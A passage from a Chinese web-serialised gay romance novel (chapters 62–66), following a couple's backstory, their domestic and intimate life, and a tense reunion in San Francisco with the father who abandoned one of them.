他还是过着和过去没有区别的生活,读书打工还债,日复一日,月复一月,生活对他来说并不算辛苦,纵使也谈不上美好,只是日复一日,麻木繁忙而无所谓地活着。 直到下一年的盛夏,他卖完松茸回家,在回家的山路上再次遇见了那个梦中见过千百遍的少年。 他穿着和贫困偏僻的高原截然不同的柔软长t和水洗蓝牛仔长裤,头上戴着一顶硕大的草帽,微微喘着气,胸膛一起一伏,扭着头不快地朝他瞪过来。 江措古井无波的心脏再一次强烈而健康地跳动了起来。 上苍竟然也会眷顾江措顿珠吗? “你这个讨厌鬼,既然知道我是你的救命恩人为什么不早点告诉我?!!”沈泱气势汹汹地骂他。 “沈泱,那你为什么不早点说?”江措粗大的喉结激动地滚动着。 “我当然是以为你记不到了,何况我又不是第一次见面就想起来了。” 沈泱没有在久塘一见面的时候,就将江措认出来—— 作者有话说:大年初二拜大年,好运追,快乐随,祝福来,依旧还是随机送六十六个小红包啦[接][接][接] 第63章 沈泱和江措在泡脚的潭边, 是沈泱来到久塘后和江措的第二次相见。 第一次见面是在沈泱去到回宁村的第一天,那天他和沈军安爬山回家,那是沈泱头一次爬如此原始又看不见尽头的深山, 又累又烦, 要到村子里了,沈泱眼前出现了一个挡住去路的肮脏小泥潭。 沈军安刚踩着泥潭的边缘过去,弄脏了裤腿和鞋子。 沈泱一点都不想这样过去, 不想弄脏自己已经不太干净的裤腿和鞋子,沈军安等了他两分钟, 开始不耐烦地催促他。 腰上忽然横上一双手,沈泱双脚骤然离地, 沈泱还没有反应过来, 他已经越过了令他眉头紧蹙的小泥潭, 与此同时, 对方的深麦色的粗糙大手离开了他的腰。 沈泱抬眸, 对方却又避开了他的眼神, 高大的身躯背着一个硕大的草编背篓, 平静地朝前走去。 他当时没把江措和蓉城街上昏迷的少年混为一谈,甚至第二次在泡脚的潭水边相见, 也没有认出来。 在蓉城街上昏迷的少年双眸紧闭, 眉头微蹙, 唇色苍白,尽管□□要比沈泱健硕高大许多, 可是那么奄奄一息, 那么的柔弱可怜。 然而高原上的那个少年冷漠而强悍,直到住进江措家的第二天才发现这个人就是当年他救过的少年。 命运的齿轮开始转动,所以沈泱很理直气壮地要求江措为他付出, 付出金钱时间和精力,这可是没有他或许就死掉了的小牛犊呢。 沈泱纵然很心安理得,纵然曾经觉得自己配得到一切。 可活了十七年的沈泱经历了什么呢?江措总是被抛弃,所以抓住手的挚爱不敢松开一丁点,但沈泱也是一直在被抛弃啊。 六岁的时候,父母离婚,他妈妈抛弃了他,用冰冷的语言骂他和他爸爸一样自私,奶奶在他读中学时离世,沈泱曾经以为奶奶最爱他,可是沈泱陪在她的病床前,她临死前的最后一刻只看着她的儿子,原来奶奶最爱的还是她的儿子,对沈泱只是爱屋及乌啊。 十七岁的时候被父亲抛弃,父亲带着剩下的财产和情人远走高飞,沈泱被继母抛弃,最后又被血缘亲近的大伯抛弃。 能够接受江措这么强的占有欲和控制欲的沈泱,他真的是一个传统意义上心理健康的人吗?虽然有时候会对江措的占有欲表现出不耐烦,可是有时候也会和穆宁然顾宝安得意的炫耀,江措实在是太爱我了。 因为江措牢牢地接住了云端落下的沈泱,给了他足够的密不透风的爱,那些开始覆盖在沈泱灵魂上的阴影才有机会消失。 沈泱才是现在的沈泱。 不自卑,自信健康乐观配得感超高的沈泱。 沈泱是江措塑造出来的沈泱的,而江措也是沈泱塑造出来江措啊。 没有沈泱,江措只是麻木而辛苦的活着,每天情绪最激烈的时候,应该是在一场又一场春梦里,因为沈泱出现了,因为沈泱和破旧昏暗的泥土房如此格格不入。 所以不再麻木,不再无所谓地日复一日。 去山上摘松茸的时候纵然危险和辛苦,可心理却是难以言述的喜欢,他似乎理解到了什么是生活的希望,每一次对沈泱的付出都是获得,鲜活肉.体里的枯萎灵魂复活了。 从此,开始成为了一个人鲜活健康的人,拥有了喜怒哀乐。 “这里不能停车。”交警在奔驰车外不快地敲了好几下车窗,甚至都开了一张罚单,江措和沈泱两个人才回过神,江措降下车窗,不知道和交警说了什么,看起来很冷静理智平稳地驱车离开。 奔驰车迅速地开进沈泱和江措小家的车库,车刚停稳,江措就打开车门走了下去,没有回到别墅里,已经是迫不及待了。 狭窄滚烫的后车座里,沈泱艰难又兴奋地吞吐着精神矍铄的大黑鱼。 大黑鱼的两只触手滚烫地游走于沈泱身上的每一寸皮肤。 到了最关键的时候,沈泱张开嘴,忍不住咬住了江措的肩膀,呼吸声陡然变重。 趴在江措肩膀喘了好一会儿,激烈的情绪才稍微地平缓了一丁点,沈泱蹙了下眉头,声音哑哑地:“江措,额头疼!” 江措温柔地把沈泱从大腿上抱了下来,眼神落在他白皙的额头上,奔驰车厢车纵然算不得矮,也算不得特别高,最起码容纳一个一米八左右的青年坐在另外一个一米九青年的大腿上仰着头时,还是有一些困难的。 “不算严重。”江措观察了几秒说。 说完,他拿起沈泱扔在一旁的黑色休闲长裤,拧了下眉,“你今天又没穿秋裤!” 沈泱抬起一只脚,先穿进内裤的一只腿,懒声道:“我现在去的地方都有空调!穿什么秋裤啊,你以为还是在读大学和高中的时候吗?” 江措不轻不重地拍了拍沈泱肉嘟嘟的屁股,沈泱抬臀,江措把内裤给他穿好后,给他套好了外裤。 又给自己穿好只脱了一半的西装长裤,两个人一前一后地下了车。 王姨见两个回来了,说她现在去炒菜?沈泱后知后觉地发现了一件事,他和江措都回来了大半个小时了,但一直没下车,刚刚王姨应该没有去车库叫他们俩吧,刚刚他和江措的动作不算大吧。 想道这些东西,沈泱气冲冲地给了江措两下。 江措转过头来看着他,“又流出来了?” 沈泱红着脸张开嘴,朝着他的脖颈咬下去,咬上去的时候看起来用尽了力气,牙齿碰到皮肤,又骤然收了力道,只是用牙齿威胁性地磨了磨江措的皮肤,含糊地道,“你这个混蛋。” 沈泱上楼去洗澡。 江措则先去了厨房,交代王姨做好晚饭后便直接下班,不需要等他和沈泱下楼后,才大步上了二楼。 两个小时后,江措把洗干净的沈泱抱回了卧室,他说下楼去热饭,沈泱摇摇头,蛄蛹进被窝里,眯着眼睛,含糊道:“我现在不吃,我,我好困,我要睡觉。” 见沈泱想睡觉,江措没强求他一定要去吃饭,他把凌乱不堪的洗手间打理干净,又把沈泱的贴身的衣物手洗了,需要干洗的外套放进洗衣间里,等待王姨明天送去干洗。 江措拿了平板,坐靠在沈泱的身旁,处理几份文件。 没过多久,沈泱床头柜上的手机响了起来,江措伸长胳膊,拿过沈泱的手机,看清楚来电显示后,江措叫了一声沈泱,没有告诉他是谁打的电话,只是低声说道:“泱泱,有人给你打电话。” 沈泱眉头微皱,像是被打扰到了,脑袋往被子里缩。 江措没有挂断电话,于是手机铃声魔音一般刺挠着沈泱的耳膜。 他烦躁地道:“不接,……挂了。” 江措于是善良体贴地帮他挂断了电话。 电话又响了起来,江措问了一句,还是挂吗? 沈泱嗯的声音微不可闻。 江措挂断了电话。 这一次,对方倒是没有再打电话过来了。 沈泱睡了不到一个小时便醒了过来,他躺在床上,脑袋靠着柔软的米白色枕头,抓着江措的一只手玩了一会儿,彻底地醒过神,想起半梦半醒中有人给他打电话。 身体还有些倦怠,沈泱不想起身去拿手机,于是侧躺在床上,嗓音慵哑地询问江措,“刚刚谁给我打电话啊?” 江措的眼神从iPad上挪开,望着沈泱,说道:“你的舅舅。” “?” “!” 沈泱唰一下坐了起来,“江措,你怎么不告诉我是舅舅打的电话,他什么时候打的电话啊?” “应该有半个小时了。” 沈泱打开手机,果然是半个小时前打来的电话,他瞪了江措一眼,清了清嗓子,把电话回拨了过去。 “舅舅,你给我打电话做什么,我刚刚在睡觉呢。” “九点就睡觉了?”柏平问。 “这不是我两天忙着工作吗?有点累。”沈泱说。 柏平:“你前几天和江措吵架了?” 江措原来在看文件,听到这话,扭头朝沈泱看了过来,沈泱手指抓挠着米白色的被套,疑惑的语气,“你从哪里听说的?” 柏平说:“和好了?” 沈泱很大声:“嗯。” 柏平说,“江措要是对你不好,舅舅给你买机票来德国。” 沈泱斜睨了一眼看文件的江措,刻意大声说道:“我知道了,舅舅。” 挂断和柏平的电话后,江措的眼神还是停留在平板上,沈泱将他的平板从掌心里抽掉,质问他,“听到我舅舅说的话了吗?江措顿珠?” “听到了,很可惜,我没有一个可以给我撑腰的亲人。”江措垂了垂眼睫,面色淡然地讲这样的话。 沈泱不乐意了,两只手捏着江措的脸颊,“你什么意思,你的意思是我会欺负你了?江措顿珠,难道你还不乐意被我欺负了?” “乐意。”江措把沈泱的手拉了下来,吻了吻他的手背,起身下床后穿上拖鞋,抱着沈泱往楼下走,“饿了吧?我下去给你热饭。” “鞋子,我没穿鞋子呢。”沈泱下意识搂住了江措的脖,朝着四周张望。 江措:“房子里不冷。” 哪怕现在是冬天,室外只有零上几度,沈泱只穿着一件纯棉的睡衣,可是现在早就不是很多年前,连海尔空调都用不起的江措和沈泱了。 三百平的大房子里,室内的温度一直是沈泱舒服的二十五六度。 沈泱用脚尖不轻不重地踹了踹江措的大腿,“但是我要走路啊。” 江措低下头,吻了吻沈泱的额心,“不会让你走路的,这样就好了。” 吃过了晚饭,江措刚把厨房收拾干净,坐在一旁流理台上监督江措干家务的沈泱手机又响了,他拿起来一看,竟然是陈辞打来的电话。 沈泱曾经很不喜欢陈辞,可是自从陈辞拿来了一张江措幼年时仅存的一张照片后,沈泱对他的厌恶感降低了三分之一,后来,陈辞似乎洗心革面了,对久塘来的两个老乡颇为照顾。 江措刚刚创业的时候,陈辞还给江措介绍过一个工作能力特别厉害的宣传总监和一个投资商,这几年三人也有一些来往。 沈泱接通电话。 陈辞道:“沈泱,听说你和江措分手了?” 沈泱瞪圆了眼睛骂他:“你才和江措分手了呢,你和你女朋友前段时间分手了,你就巴不得所有的情人都分手了是吧,我告诉你,陈辞,就算你和你下个对象,下下个对象,下下下个对象分手了我和江措都不会分手的!!” 陈辞沉默了一下,“沈泱,你这张嘴,真的是厉害。” “谁让你诅咒我和江措分手的?”沈泱气势不减地骂他。 “我道歉好吗?”陈辞无奈道。 江措收拾干净了书房,解开围裙,洗干净双手,一把抱起坐在流理台上的沈泱,沈泱两只腿娴熟地环着江措的腰,另外一只手搂着他的脖颈,哼了一声,“你要说什么?” “没什么,既然你没和江措分手,我能说什么,马上元旦了,祝你和江措新年快乐。” 这一年的元旦江措没有加班,他陪沈泱去了一趟哈尔滨,在冰天雪地的世界里留下了他们又在一起跨年的幸福身影。 一转眼,又是崭新的两年过去了—— 作者有话说:【最后一个时间线了,这个月应该是能完结的啦】[接][接][接] 第64章 这两年, 沈泱签了一家配音工作室,事业发展得如火如荼。 沈泱的第一部广播剧大爆了,与此同时, 因为地理位置的原因, 申城这边的游戏工作室最多,沈泱因此配得最多的是游戏,当然也有一些广播剧和电视剧。 而江措公司的规模也成功地扩大了几倍, 成为了近十年来互联网行业创业最成功的公司。 这天晚上,沈泱睡得正熟, 习惯性地朝旁边靠去,靠了半天, 都没有熟悉的温热肩膀, 沈泱陡然睁开眼。 床上果然只剩下他一个人了。 拿起手机一看, 竟然才凌晨三点半!江措最近不是没那么忙了吗?他半夜又跑去干什么了? 沈泱在卧室里睡眼朦胧地叫了江措两声, 没听到江措的回应, 他干脆下床穿上了拖鞋, 沈泱走到了书房门口, 书房的房门没有反锁,沈泱一推就推开了。 沈泱打了个呵欠, 看见了坐在电脑前面的江措, 沈泱走过去, 窝进江措的怀里,“大半晚的又不睡, 你在干什么……” 眼神落在江措的电脑屏幕上, 竟然不是什么密密麻麻的文件,也不是什么看不懂的代码,沈泱看见的是音频剪辑软件, 江措耳朵上还戴着耳机。 沈泱拔掉江措耳朵上的耳机,开了外放。 熟悉又有一点陌生的声音从电脑的扬声器里传出来。 江措右手握住鼠标,娴熟地将这一句话剪辑到他名为宝宝(游戏)的音频里。 沈泱眼睛瞪大了一点,迫不及待将江措的大手挥开,手掌按着鼠标拉动音频进度条。 这个音频有三个多小时,沈泱往前拉了好几次,竟然都是他给游戏的配音。 沈泱检查文件夹,果然还有宝宝(广播剧)宝宝(影视)宝宝(动漫)宝宝(广告)的音频合集。 沈泱挑了挑眉,“江措,我还以为你不乐意听到我的声音呢。” 江措纵然尊重了沈泱的事业,可从始至终,也没有摆出太支持的态度。 前几天,沈泱配的一个电视剧播放,江措看了几分钟就换台了。 江措神色平静,“没有不乐意听到你的声音。” 只是不乐意沈泱的声音被形形色色的人听见挖掘,明明这应该是他一个人私藏的宝藏。 不过因为这是沈泱从心里钟爱的,所以江措如今可以接受。 江措说完,拉动音频进度条,点击播放。 电脑音箱里传出沈泱平静而高傲的声音,“阿斯玛大人,我当然是属于你的。” 江措伸出深麦色的大手,果断悍然地将沈泱拽到了他的大腿上,沉声问他,“沈泱,你是属于谁的?” 沈泱仰起头,柔软的唇瓣碰了碰江措的下颌,眼睛里带着令人窒息的甜蜜,望着他说道,“沈泱是属于江措的。” 月色渐浓,静谧的书房里渐渐传出了暧昧嘈杂的水声。 翌日,江措要去美国出差,出差时间计划是十一天,沈泱这段时间没有安排工作。 他计划先飞去德国,陪舅舅待几天,再飞美国,最后和江措一起回国。 三点科技的美国分部设立在SF,年初开始在美国开始扩张,受到了很多人的喜欢,这次主要是谈和美国某公司的合作问题。 谈判推进的不算很顺利,这天晚上,恰好是某位高管的生日,江措让秘书定了一家有口皆碑的中餐厅,工作结束后,众人驱车前去用餐。 用餐地点在二楼,身旁是一整面墙的落地窗,不说公事,公司又是年轻的互联网公司,聊一些轻松的私事,包厢内一片其乐融融。 江措坐在角落的位置,摸出手机和沈泱聊天,突然,他看到一辆不起眼的雪佛兰停在了中餐厅的门口,一个穿着灰色棉服的中年男人戴着手套,从皮卡车的后车厢里搬下来一箱货物。 窗外的路灯明朗,男人抬起头,和一个金发男人热络地交谈着,江措更清晰地看清楚了他的五官。 晚餐结束后,分公司的负责人驾车送江措等人回酒店。 “江总,到酒店了。”李深提醒若有所思的江措。 “李深,麻烦你一件事,你去帮我调查一个人。”江措没有立刻从后车座上下车,他难得地犹豫了几分钟,盯着李深说道。 *** 沈泱抵达旧金山时,是当地时间下午四点,江措安排了酒店的人接机,今天的谈判拖延了一些时间,他回酒店的时候快八点了。 翌日,江措有工作,没办法陪伴沈泱,便仔细地交代了沈泱酒店管家的电话号码,“沈泱,如果要出门,给他打电话。” “我知道了。”沈泱盯着手机屏幕,不走心地回了江措一句话。 江措站在床边系领带,动作缓慢,眼看领带都要系好了沈泱还是目不转睛地盯着手机屏幕。 江措走了两步,俯身抽走了沈泱的手机。 沈泱立刻瞪大眼睛,“我在打游……嗯呢。” 话都没说完,江措弯下腰,大手按住沈泱的后脑勺,不算轻柔地含住了他的嘴唇。 “我去上班了,记得给我发消息。”又嘬了两下,江措依依不舍地松开了沈泱,又用嘴唇碰了碰他的嘴唇后说。 “快去快去。”沈泱抬手抹了一把湿漉漉的嘴唇。 江措离开房间后,沈泱赶紧摸起手机,他卡在这一关好久了,刚才眼看突破这关的概率很大,被江措这样一打岔,果然过关失败了! 沈泱不由得瘪了瘪嘴,可唇角很快又绽开了一丝藏不住的笑容。 懒得继续玩游戏了,沈泱把手机往旁边一搁,迅速闭上了眼睛,又睡了一个小时的回笼觉,沈泱才起床,打电话向酒店订了早餐。 中午江措工作繁忙,没时间陪沈泱用餐,沈泱给管家打了个电话,问他:“你知道哪里有好吃正宗的中餐厅吗?”先去欧洲待了好几天,沈泱现在非常想念中餐。 酒店的管家覃明是个华人,略作思索后,慎重地给出他的建议,“距离酒店大概十三公里的距离,是中国城,里面倒是有几家味道正宗的中餐厅。” 沈泱来过这个城市好几次了,江措陪他逛过周边的一些景点,不过唐人街沈泱还没有去过,他说走就走,“那我们今天就去唐人街吃午餐。” 覃明介绍,唐人街里面比较好吃的是两家粤餐厅还有一家淮扬菜,沈泱选了一家粤餐厅。 他们从酒店出门的时间不早了,进了唐人街后沈泱先看见了威风凛凛的关帝庙,忍不住进去拜了拜,来到餐厅时,已过了中午最热闹的饭点,大堂里只有稀稀落落的几桌客人了。 沈泱选了一张靠窗的餐桌,覃明推荐道:“这家的蜜汁叉烧和陈皮鸭我个人觉得都很好吃。” 沈泱问服务员,服务员拿着小本子,是一个四十多岁的妇女,带着很重的闽南语腔调,“帅哥,你来得刚刚好慢哦~,我家嘅蜜汁叉烧卖空空啦。” 陈皮鸭只剩下一只,沈泱果断下了单,又在覃明的推荐下点了几道菜,老板拿着手写的菜单去后厨,沈泱问他,经常来这里吃饭吗? “不是经常,几个月应该会来一回。” 江措没和沈泱一起吃饭,沈泱拿起筷子自己用热水涮洗了一遍,没等多久,沈泱点的几道菜都上齐了,味道出乎意料地好吃,沈泱热情地夸赞了覃明的推荐,又拿出手机,拍了照发给江措,约定等回国前,他们两个再来吃一次。 毕竟沈泱今天还没吃到招牌蜜汁叉烧呢。 覃明是一家不错的大学酒店管理专业毕业的,入职这家酒店才刚刚一年,这段时间轮岗到管家岗,他接待过许多位身价不菲的顾客了,不过这还是他头次在顾客讲话的时候,完全忽视了他的内容,只是盯着他脸上的笑容失神。 只是这份失神转眼就消失了,又想起那位高大冷峻的江先生,真心实意地觉得从外貌出发,他们可谓是天造地设,龙章凤姿。 吃完了午饭,两人结了账离开餐厅,覃明推荐餐厅旁边那家糖水铺子煮的糖水也都很好喝,尤其是陈皮红豆沙和红枣桂圆糖水。 沈泱刚刚吃饱了饭,肚子没空。 不过来都来了,他还是打算买两样带回去,他给自己买了一份陈皮红豆沙,给江措买了红枣桂圆糖水,问覃明要什么后,给他买了一份冰糖炖雪蛤。 沈泱拿着一杯自己的陈皮红豆沙走出糖水铺子,目光却在触及到不远处的中年男人时,脚步骤然僵住了,甚至整个人都僵住了。 覃明既然从事服务行业,便极其擅长和客户沟通,见沈泱对食物有一定程度的兴趣,便给他讲一些食物有关的小趣事。 比如讲他刚来美国的时候,去了家附近的某家中餐厅,要了一份麻婆豆腐,结果竟然是不辣且放糖的麻婆豆腐,整个人如遭雷击。 聊到一半,沈泱忽然静止不动了,浑身僵硬地盯着某个方向。 覃明叫了好两声,对方都没有任何反应,覃明朝沈泱死盯着的方向看去,发现只是一个普通的中年男人从皮卡上搬了两筐封装好的碗筷送入他们刚才用餐的中餐厅。 紧接着,又和餐厅老板站在门口,侧身对着他们,熟络地交谈着。 “沈先生?”覃明诧异地再次叫了一声沈泱。 而此时,沈泱见那个陌生又熟悉的中年男子满脸笑容地结束了和中餐厅老板的交谈,朝他的方向转过了头,沈泱握着陈皮红豆沙的手骤然发力,几滴温热的糖水溢出来,沈泱心乱如麻地转过了头,慌张地抬脚朝前方走去。 沈泱步行的方向是和停车场的方向背道而驰,但见沈先生忽然惨白的脸色,覃明没有多说什么,只是缄默地快步跟在了他的身边—— 作者有话说:晚安,宝宝们[猫头][猫头][猫头] 第65章 晚上, 江措回到了酒店。 沈泱盘腿坐在别墅一楼的客厅里,客厅里的超大屏幕电视打开着,放着画面阴沉沉的嫌疑剧。 江措叫了沈泱好几声, 若有所思的沈泱才回过神, 打起精神回答道:“江措,你回来了。” 江措应了一声,先问沈泱晚饭吃的是什么。 “夏威夷披萨。” “好吃吗?” “还行吧。”沈泱竭力地回忆了一番, 余光瞥见茶几上的塑料杯包装的红枣桂圆糖水,沈泱笑了笑, “江措,这是今天中午给你带回来的糖水, 你快尝尝。” 江措将吸管戳进去, 吸管先喂到沈泱唇瓣, 沈泱一点不客气地张开嘴, 嫣红的唇瓣含住半透明的硬吸管, “好像比陈皮绿豆沙好喝一些。”他心情毫无阴霾地点评道。 江措盯着沈泱看了两眼, 含着沈泱用过的吸管尝了两口, “还不错,不是很甜。” 两个人喝完了一杯红枣桂圆糖水, 将空掉的塑料杯投进垃圾桶里, 江措在沈泱身旁坐下, 低声道:“泱泱,下午发生什么了?心情这么低落。” “哪里有心情低落啊?”沈泱拿起了电视机的遥控器, 手指毫无目的地按动遥控器键盘, 快速地换台。 江措坐在沈泱身旁,没有催促他立刻给出答案。 沈泱蓦地将遥控器扔到一旁,目光落在江措身上。 江措低下头, 亲了亲沈泱的额头。 沈泱在江措拉开距离之前,挪了挪身体,胳膊碰触着江措的胳膊,外面是寒风呼啸的冬日,酒店别墅里的气温却有二十七八度,沈泱穿着不算单薄的米白色毛衣,却依旧感觉到一点冷。 隔着两层不算厚的布料,和江措的皮肤相触。 江措火热的体温传递过来,沈泱心里生出一些难以言述的安全感。 他有些无措地望着江措,朝江措张开双臂。 江措两只手牢牢地握住沈泱的腰,稳当当地将沈泱抱进了自己的怀里。 沈泱双腿分开,面对面地坐在江措结实牢固的大腿上。 沈泱把头深深地埋在江措的肩膀上,江措回来后还没有洗澡,别墅里的洗衣液也不是熟悉的气味,他晚上应该也吃了披萨,沈泱闻到了一点烤熟了的芒果味道,还有一点车载香熏的味道。 这些味道裹挟着江措身上特有的味道涌入沈泱鼻腔,沈泱深深地嗅了一口,逐渐心安起来。 沈泱紧紧地搂住江措,脑袋埋在他的肩膀处好一会儿,才张了张嘴,过了一会儿,艰难地吐出几个字,“江措,我,我好像……看见我爸了。” 他蓦然收紧了抓住江措黑衬衫的手。 江措托在沈泱后腰上的手一紧。 沈泱垂着眼,语气复杂:“就在唐人街,不过我也不确定那个人就是他,我没有看得很清楚,何况……” 他停顿了很长一段时间,“我们已经八/九年没见过了。” 沈泱记忆里的父亲,西装革履,长相出类拔萃,性格和善爽朗,可是今天在中餐厅门口看见的那个中年男人,挺着一个微微凸起的小腹,穿着深蓝色的粗糙罩衣,似乎和记忆里的成熟男人不是那么相似。 “江措,我不确定那个人是不是他了。”沈泱茫然道。 江措收紧了环抱住沈泱的手,过了一会儿,他开口道:“那是曾经抛弃你的父亲。”他强调了抛弃两个字。 沈泱震惊地抬起头。 江措低下头,两个人眼神对视,他解释道:“四天前,我和公司同事去一家餐厅吃饭的时候,我看见了一个中年男人。” 江措没有见过沈泱的父亲,可见过沈泱父亲的照片。 柏平那里有沈泱从小到大的相册,江措每一张照片都仔仔细细地看过,并且复印了一份带回来他和沈泱的家里。 其中有沈泱和父母的合影。 虽然只是几张十几年前的老照片,可照片保存的还不错,照片上,那个男人的轮廓和沈泱有几分相似,过去了这么多年,虽然和照片上的青年男子相比较,有些许的变化。 可五官还是那样的五官,左侧的脖颈的黑痣也依然存在。 江措让人去打听,昨天刚刚得出结果,江措因此确定了,那个男人就是曾经抛弃沈泱,和情人远走高飞的沈建海。 江措还在犹豫要不要将这件事告诉沈泱,没想到竟然这么巧,沈泱竟然遇见了沈建海。 沈泱浓密的眼睫混乱地抖了抖,他将江措的黑衬衫紧攥在手里,过了好一会儿,才哑声问道:“他现在在做什么?” 江措吻了吻沈泱的额头,“他八年前来了美国,先开了超市,超市的生意失败后,他的情人抛弃了他,和一个白人在一起了。” “他后来又开过中餐厅,不过也失败了,现在他在一家餐具清洗消毒的公司上班,日子还算能过下去。” 沈泱听完江措平淡地叙述,平静地应了一声,脑袋却紧紧地贴着江措温热的脖颈。 江措的手按在沈泱的后腰上,他垂下眸,只能看见沈泱黑漆漆的头顶。 他给了沈泱吸收消息的时间,俄顷后,问道:“沈泱,你要和他见一面吗?” 沈泱的呼吸急促了起来,这些年,他很少会想到沈建海。 没什么好想的,那是一个抛弃了沈泱的,看起来对沈泱很好,实则是只愿付出一点廉价的爱意的父亲。 因为离开沈建海后,沈泱的生活只有过短暂的糟糕,沈泱对他没有太多的恨意,或许一开始是机会产生的。 可是去到久塘没多久,江措就出现了,和江措的情感占据了沈泱绝大部分精力,还有忙碌地学习,沈泱连想到沈建海的机会都没有,更何况去厌恶憎恨他了。 恨一个人也需要强烈的感情和充足的时间。 沈泱都不知道在这次重逢前,再一次想到沈建海是什么时候了。 良久以后,沈泱摇头道:“不用了吧。” 江措紧搂住沈泱,别墅的隔音效果极好,门扉紧闭,听不到外面一丝一毫的动静声,电视机早就被两个人关闭了,此刻,屋子里很安静,只有两个青年交缠在一起相依为命的呼吸声。 良久后,江措低下头,盯着沈泱道:“沈泱,你应该去见见他。” 沈泱迷惘地盯着江措。 江措一针见血,“沈泱,你还没有彻底地放下他。” 沈泱不想见沈建海,在他抛弃他的那一瞬,沈泱就不想再把他当作自己的爸爸了,可是当江措提出再去和他见一面时,沈泱的喉结不安地抖动了一下,却没有说不,只是说,我再想一下吧。 江措搂紧了沈泱,是一个放在普通人身上会觉得有些窒息的力道,沈泱却总觉得很舒适,会很有安全感的力道。 沈泱去见沈建海的那一天,是一个阳光明媚的午后,江措昨日就结束了在美国的公务,早上起床后,江措先起床,陪沈泱看完了一部动漫电影,两人换好衣服,来到了一家距离沈建海居住地不远的一家咖啡厅。 沈泱和江措抵达咖啡厅时,比约定的时间已经提前了八分钟,而沈建海已经坐在了咖啡厅里。 和那天的猝不及防的照面不相同,沈建海今日没穿一件平价耐脏的深色羽绒服,而是一件质地似乎还不错的黑色羊毛大衣,头发修剪得干净利落。 他小腹略微有些凸起,但经过几个小时的打扮,气质潇洒儒雅,似乎和沈泱记忆里的父亲区别不大,但那只是一晃眼的错觉,对方的眼角带着苍老皱纹,眼周的皮肤向下耷拉着,皮肤松垮,写满了岁月的痕迹。 沈建海目光一动不动地盯着咖啡厅的门口,待看到门口进来一个比记忆里成熟很多的青年时,激动地站了起来,动作太剧烈,身后的椅角刺耳地摩擦地面,引来了一些人的围观。 沈建海难以置信地盯着沈泱。 昨天晚上,他接到了一个陌生电话,对方说流利的汉语,只说了两句话,明天上午十一点在香波大道的suunuy咖啡馆,有人要和你见一面。 他问是谁?脑袋里忽然想起几天前,他去中国城那边送货时,不经意地瞥见的那一个侧影,当时他看到那个身影时,瞬间想到了自己多年未见的儿子。 急匆匆地追上去,没几步,对方就消失在了人群里。 沈建海只以为是错觉。 电话里的人在他问出是谁要见我后,说出了沈泱两个字,然后就挂断了电话。 沈建海拿着手机,有整整十几秒钟,都没有回过神,沈泱,他的儿子?他快十年没见过的儿子,那天在中国城,原来不是他眼花了吗? 沈建海昨晚一夜没睡。 沈泱径直来到沈建海的对面,平静地坐下,要了一杯拿铁后,金发碧眼的服务员离开餐桌,沈泱望向许久不见的沈建海。 沈建海等服务员一离开,就张了张嘴,不过声音没有很快地冒出来,“沈,沈泱,一晃你就这么大了,大……大学应该毕业了吧。” 沈建海说完这句生涩的问候后,声音霍然流畅了起来,盯着沈泱没什么情绪的脸颊,又急匆匆地解释道:“爸爸这些年真的很挂念你们。” 又慌张地说道:“爸爸当年忽然离开,是想要东山再起,等我赚到钱了,一定会让你们过上好日子的,就像你小时候一样!” 沈泱冷冰冰地道:“沈建海,你当年是和你的情人离开的。” “我,那是她在美国有关系,有人脉,你还小,你不知道对做生意来讲,人脉多么重要!”快速地说完这几句话,沈建海连忙问道:“你过的还好吧,肯定很好吧,爸爸看你穿得都还不错,你妹妹和你林姨过得好吗?应该也很好吧,你林姨的家庭条件又不错,父母都是医生,家里也有钱。” 沈建海挤出微笑道。 沈泱冷漠地说:“不知道,你和情人卷走家里剩下的钱远走高飞后,林姨就把我送到久塘了。” 沈建海回忆了一番,才想起久塘是哪里。 “是你大伯家吗?你林姨怎么能把你送回那么偏僻的地方呢?那边吃的住的怎么能和城市比较!”沈建海皱了下眉,又说道:“那你大伯应该对你很好,你大伯家的房子都是我掏钱给他修的,他家在县城的门市也是我拿钱买的,以前他们都很喜欢你,他们对你……” “我去他家不到十天,他就要让我和一个有精神病的女人结婚,不对,不是结婚,是要把我卖给那个有精神病的女人。”—— 作者有话说:很多机灵的宝宝都猜对了,就是渣爹!!!! 第66章 沈泱没给沈建海说话机会了, 每个字连珠炮一样打出来,“我现在过得是挺好的,因为我交了一个男朋友, 沈建海, 我给你介绍一下,这是我男朋友,江措。” 沈泱都直接称呼沈建海的大名了, 江措当然不可能对他有尊敬看重的一类情绪,他只是捏了捏沈泱的手掌。 沈建海一开始就注意到了陪伴在沈泱身旁的高大男人, 毕竟对方身高长相出众,很难忽略, 只是他心里默认为这是沈泱的男性朋友而已。 他看看冷峻沉着的江措, 又看着自己眉目冷淡的儿子, 道:“沈泱, 你在和爸爸开玩笑吗?” “我不是开玩笑。”沈泱说完, 忽然偏过头, 亲了江措的嘴巴一下, 又觉得不够,撬开江措的嘴唇, 狠狠地亲吻了几下, 这才盯着沈建海道:“他就是我的对象, 我们十八岁的时候就在一起了,哦, 因为当时你大哥要把我卖给其他人, 我无处可去,他收留了我,然后我就和他谈恋爱了。” 沈建海的嘴唇剧烈地哆嗦着, 似乎是不太敢相信眼前发生的一切,过了一会儿,他讪讪道:“喜欢男人就喜欢男人吧,只要你们两个对彼此是真心的就好。” 沈泱自从看见沈建海后,情绪一直没有太大的波动,可是此时此刻,他心里真的涌起了一股恨意。 沈泱为什么在小的时候,总觉得喜欢男人是变态呢,他舅舅在同性恋犯法的俄罗斯待过几年货真价实,可是舅舅倒也没有给他灌输太多过同性恋恶心的观念。 是他父亲灌输的。 忘了具体是在什么时候了,好像是他初中刚毕业那会儿了吧,或者更小一点吧,他爸爸喝了酒回来,醉醺醺地提到一个合作伙伴的事,说他竟然是个同志,喜欢搞男人的屁股,简直是个变态!!! 他爸爸接触的人多,同性恋总有那么几个,每一次遇见同性恋的甲方或者合作伙伴,他爸爸回家后总要大发牢骚,骂他们恶心变态,觉得应该送去精神病院里去。 甚至在发现学校里有一个男生似乎对沈泱有一点超出同学感情的好感后,立刻要求沈泱和他保持距离,并且威胁对方,离他儿子远一点。 所以,最开始的时候,在江措亲了自己后,沈泱会心如擂鼓地问出,江措,你也是个变态吗。 是沈建海给他灌输的。 只是好像沈泱并不厌恶和江措变态,甚至比起和一个女孩子谈恋爱,沈泱也好像更愿意选择和江措一起变态,也愿意接受和江措在一起后,被世人发现后的嫌弃和厌恶的眼神。 虽然,江措很快就成长了起来,会出现在沈泱身边的人,都不会露出这样的神色。 但决定和江措谈恋爱的沈泱,是做好了这样的准备的。 但是,没想到对同性恋深恶痛绝的沈建海竟然能说出这样一番话来。 